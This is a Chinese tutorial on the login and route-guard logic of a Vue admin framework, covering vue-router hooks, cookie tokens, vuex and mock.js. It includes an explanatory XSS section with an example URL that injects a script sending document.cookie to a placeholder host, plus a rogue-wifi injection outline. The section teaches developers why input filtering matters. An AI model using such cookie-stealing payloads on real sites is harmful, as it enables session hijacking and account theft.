github地址:vue-framework-wzhtml
線上體驗地址:當即體驗前端
《一步步帶你作vue後臺管理框架》第三課:登陸功能webpack
認證又稱「驗證」、「鑑權」,是指經過必定的手段,完成對用戶身份的確認。身份驗證的方法有不少,基本上可分爲:基於共享密鑰的身份驗證、基於生物學特徵的身份驗證和基於公開密鑰加密算法的身份驗證。git
登陸鑑權功能是後臺管理項目的基本需求,登陸控制,權限分配,這些都是很廣泛的功能。 在框架中已經作好了這部分的工做,咱們來了解一下是怎麼作的,對之後在框架的基礎上作改進是有很大的幫助的。github
在此以前思考過不少種方法去作登陸功能,一種比較靠譜的方法是用一個Node服務端,利用Node+express+passport的技術棧web
Passport項目是一個基於Nodejs的認證中間件,支持本地登陸和第三方帳號登陸驗證。Passport目的只是爲了「登錄認證」,所以,代碼乾淨,易維護,能夠方便地集成到其餘的應用中。算法
Web應用通常有2種登錄認證的形式:vue-router
Passport能夠根據應用程序的特色,配置不一樣的認證機制。
Passport是十分強大的,這個技術棧也是很是靠譜的,可是咱們就一個純前端框架,須要再作一個Node的服務端嗎?維護起來多麻煩,何況違背了Unix哲學的'簡單原則'----儘可能用簡單的方法解決問題----是'Unix哲學'的根本原則。這也就是著名的KISS(keep it simple, stupid),意思是'保持簡單和笨拙'。。
既然這樣不太好,那就使用單頁應用強大的路由來作登陸。
若是對vue-router還不熟悉的同窗必定要找尤大大課後開小竈了,官方文檔:vue-router
截取一段介紹
你可使用 router.beforeEach
註冊一個全局的 before
鉤子:
const router = new VueRouter({ ... }) router.beforeEach((to, from, next) => { // ... })
當一個導航觸發時,全局的 before
鉤子按照建立順序調用。鉤子是異步解析執行,此時導航在全部鉤子 resolve 完以前一直處於 等待中。
每一個鉤子方法接收三個參數:
to: Route
: 即將要進入的目標 路由對象
from: Route
: 當前導航正要離開的路由
next: Function
: 必定要調用該方法來 resolve 這個鉤子。執行效果依賴 next
方法的調用參數。
next()
: 進行管道中的下一個鉤子。若是所有鉤子執行完了,則導航的狀態就是 confirmed (確認的)。
next(false)
: 中斷當前的導航。若是瀏覽器的 URL 改變了(多是用戶手動或者瀏覽器後退按鈕),那麼 URL 地址會重置到 from
路由對應的地址。
next('/')
或者 next({ path: '/' })
: 跳轉到一個不一樣的地址。當前的導航被中斷,而後進行一個新的導航。
確保要調用 next
方法,不然鉤子就不會被 resolved。
因此wz框架採用的是攔截導航,判斷登陸與否和是否有權限,讓它完成繼續跳轉或重定向到登陸界面。
這篇教程分爲兩部分一部分講登陸,另外一部分講權限驗證,由於篇幅太長因此須要用兩篇來寫。
登陸流程是在客戶端發送帳號密碼到服務端,服務端驗證成功後返回token存儲用戶的權限,前端用Cookie把token存儲在本地,在路由跳轉(router.beforeEach)中判斷是否存在token,另外前端能夠經過token請求服務端獲取userInfo,在vuex中存儲着用戶的信息(用戶名,頭像,註冊時間等等)。
權限控制就是在路由跳轉(router.beforeEach)中判斷token中的權限和要去往(to)頁面的路由信息(router meta)中配置的權限是否匹配,同時咱們的側邊欄也是根據權限動態生成的,當所登陸的帳號沒有權限訪問時,就不顯示在側邊欄中(例如訪客登陸就沒法看到編輯器的側邊欄選項),這樣用戶既看不到側邊欄選項,又沒法直接訪問到,雙重控制更安全。
登陸界面只有兩個輸入框,由於不是對外網站因此就沒作註冊功能。
首先來看登陸界面login.vue的邏輯。
src/views/login/index.vue
使用了iview的form表單,autoComplete屬性是自動填充默認值到輸入框裏,這裏是用戶名amdin@wz.com,
@keyup.enter.native="handleLogin"屬性,當按下enter鍵時會自動觸發handleLogin函數,不須要再點擊登陸按鈕,符合平常登陸習慣。
當輸入帳號密碼點擊登陸按鈕會觸發handleLogin函數。
其中的邏輯是,獲取頁面表單中的數據(帳號密碼)經過表格validate驗證正確性,依照的規範就是咱們在data屬性中定義的。
data() { const validateEmail = (rule, value, callback) => { if (!isWscnEmail(value)) { //export function isWscnEmail(str) { //const reg = /^[a-z0-9](?:[-_.+]?[a-z0-9]+)*@wz\.com$/i; //return reg.test(str.trim()); //} callback(new Error('請輸入正確的合法郵箱')); } else { callback(); } }; const validatePass = (rule, value, callback) => { if (value.length < 6) { callback(new Error('密碼不能小於6位')); } else { callback(); } }; return { loginForm: { email: 'admin@wz.com', password: '' }, loginRules: { email: [ { required: true, trigger: 'blur', validator: validateEmail } ], password: [ { required: true, trigger: 'blur', validator: validatePass } ] }, loading: false, showDialog: false } },
帳號密碼必須填寫,密碼不能小於6位,帳號必須是以wz.com結尾的電子郵箱地址, 或者能夠定義更嚴密的規範。 若是不遵照制定的規範,將會沒法登錄。
千萬不要相信用戶的輸入!千萬不要相信用戶的輸入!千萬不要相信用戶的輸入!
除非你想遭受XSS攻擊。
若是有同窗還不瞭解什麼是XSS攻擊,那麼必定要趕快去了解。
下面敲黑板了!劃重點!
XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。好比這些代碼包括HTML代碼和客戶端腳本。攻擊者利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)。這種類型的漏洞因爲被黑客用來編寫危害性更大的網絡釣魚(Phishing)攻擊而變得廣爲人知。對於跨站腳本攻擊,黑客界共識是:跨站腳本攻擊是新型的「緩衝區溢出攻擊「,而JavaScript是新型的「ShellCode」。
其重點是「跨域」和「客戶端執行」。有人將XSS攻擊分爲三種,分別是:
1. Reflected XSS(基於反射的XSS攻擊)
2. Stored XSS(基於存儲的XSS攻擊)
3. DOM-based or local XSS(基於DOM或本地的XSS攻擊)
Reflected XSS
基於反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發執行從而發起Web攻擊。
例子:
1. 作個假設,在淘寶搜索書籍,搜不到書的時候顯示提交的名稱。
2. 在搜索框搜索內容,填入「<script>alert('handsome boy')</script>」, 點擊搜索。
3. 當前端頁面沒有對返回的數據進行過濾,直接顯示在頁面上, 這時就會alert那個字符串出來。
4. 進而能夠構造獲取用戶cookies的地址,經過QQ羣或者垃圾郵件,來讓其餘人點擊這個地址:
http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
Stored XSS
基於存儲的XSS攻擊,是經過發表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在服務器,每一個訪問該帖子/文章的人就會觸發執行。
例子:
1. 發一篇文章,裏面包含了惡意腳本
今每天氣不錯啊!<script>alert('handsome boy')</script>
2. 後端沒有對文章進行過濾,直接保存文章內容到數據庫。
3. 當其餘看這篇文章的時候,包含的惡意腳本就會執行。
PS:由於大部分文章是保存整個HTML內容的,前端顯示時候也不作過濾,就很可能出現這種狀況。
DOM-based or local XSS
基於DOM或本地的XSS攻擊。通常是提供一個免費的wifi,可是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面,從而植入惡意腳本。這種直接存在於頁面,無須通過服務器返回就是基於本地的XSS攻擊。
例子:
1. 提供一個免費的wifi。
1. 開啓一個特殊的DNS服務,將全部域名都解析到咱們的電腦上,並把Wifi的DHCP-DNS設置爲咱們的電腦IP。
2. 以後連上wifi的用戶打開任何網站,請求都將被咱們截取到。咱們根據http頭中的host字段來轉發到真正服務器上。
3. 收到服務器返回的數據以後,咱們就能夠實現網頁腳本的注入,並返回給用戶。
4. 當注入的腳本被執行,用戶的瀏覽器將依次預加載各大網站的經常使用腳本庫。
因此必定要對用戶的輸入作一個過濾。不然後臺都被別人給黑了,老闆不炒你魷魚纔怪。
當咱們輸入不正確的帳號密碼時將會自動驗證(輸入完當即驗證而不是等到點擊登陸才驗證),若是不正確將沒法登陸。
若是符合驗證規則,則會觸發vuex中的LoginByEmail
src/store/modules/user.js
import { loginByEmail, logout, getInfo } from 'api/login';
LoginByEmail({ commit }, userInfo) { const email = userInfo.email.trim(); return new Promise((resolve, reject) => { loginByEmail(email, userInfo.password).then(response => { const data = response.data; console.log(response.data); Cookies.set('Admin-Token', response.data.token); commit('SET_TOKEN', data.token); commit('SET_EMAIL', email); resolve(); }).catch(error => { reject(error); }); }); },
把email和password發送到服務器,接受返回來的數據,將token存入 Cookies,並觸發vuex SET_TOKEN及SET_EMAIL事件,存入到vuex全局狀態裏。
loginByEmail
src/api/login.js
export function loginByEmail(email, password) { const data = { email, password }; return fetch({ url: '/login/loginbyemail', method: 'post', data }); }
發送fetch請求到指定的url。這裏的url是本地服務器的地址,本項目由於是純前端項目,因此使用了 mock.js。
有了這個插件,前端就能夠獨立後端開發。
Mock.mock(/\/login\/loginbyemail/, 'post', loginAPI.loginByEmail);
在mock.js中這行代碼截獲了全部/login/loginbyemail 路徑的請求,使用loginAPI.loginByEmail處理這個請求
const userMap = { admin: { role: ['admin'], token: 'admin', introduction: '我是超級管理員', name: 'Super Admin', uid: '001' }, editor: { role: ['editor'], token: 'editor', introduction: '我是編輯', name: 'Normal Editor', uid: '002' }, developer: { role: ['develop'], token: 'develop', introduction: '我是開發', name: '工程師小王', uid: '003' } } export default { loginByEmail: config => { const { email } = JSON.parse(config.body); return userMap[email.split('@')[0]]; }, getInfo: config => { const { token } = param2Obj(config.url); if (userMap[token]) { return userMap[token]; } else { return Promise.reject('a'); } }, logout: () => 'success' };
能夠看到loginByEmail的做用是把帳戶信息返回前端,例如一個用戶是管理員,就把匹配到的admin的帳戶信息返回去。
當獲得了admin的帳戶信息,就把它存儲在cookie裏
Cookies.set('Admin-Token', response.data.token);
這樣一來在login.js中判斷token是否存在,若是存在token,就繼續路由跳轉,若是不存在,就跳轉到登陸界面。
src/login.js
router.beforeEach((to, from, next) => { NProgress.start() // 開啓Progress if (store.getters.token) { // 判斷是否有token,從vuex中取出 if (to.path === '/login') { next({ path: '/' }) } else { if (store.getters.roles.length === 0) { // 判斷當前用戶是否已拉取完user_info信息 store.dispatch('GetInfo').then(res => { // 拉取user_info const roles = res.data.role store.dispatch('GenerateRoutes', { roles }).then(() => { // 生成可訪問的路由表 router.addRoutes(store.getters.addRouters) // 動態添加可訪問路由表 next({ ...to }) // hack方法 確保addRoutes已完成 }) }).catch(() => { store.dispatch('FedLogOut').then(() => { next({ path: '/login' }) }) }) } else { // 沒有動態改變權限的需求可直接next() 刪除下方權限判斷 ↓ if (hasPermission(store.getters.roles, to.meta.role)) { next()// } else { next({ path: '/', query: { noGoBack: true }}) } // 可刪 ↑ } } } else { if (whiteList.indexOf(to.path) !== -1) { // 在免登陸白名單,直接進入 next() } else { next('/login') // 不然所有重定向到登陸頁 NProgress.done() // 在hash模式下 改變手動改變hash 重定向回來 不會觸發afterEach 暫時hack方案 ps:history模式下無問題,可刪除該行! } } })
src/store/modules/user.js
vuex中是這樣定義的,至關於直接Cookies.get(),爲何要分開呢?顯然是爲了模塊化,方便往後改動項目。
const user = { state: { user: '', status: '', email: '', code: '', uid: undefined, auth_type: '', token: Cookies.get('Admin-Token'), name: '', avatar: '', introduction: '', roles: [], setting: { articlePlatform: [] } },
vuex會從cookies裏面取得token的值,這樣就能經過驗證去往路由的下個頁面。
你們有什麼問題最好去我github提issues,文章評論評論較長時間才查看一次。
接下來的教程講一下封裝UI組件、router、webpack、node命令行構建工具等內容。
但願你們看了這系列教程都能製做出本身的前端框架,從而在工做中駕輕就熟。
若是喜歡就點個start鼓勵下做者吧。
github地址:vue-framework-wz
線上體驗地址:當即體驗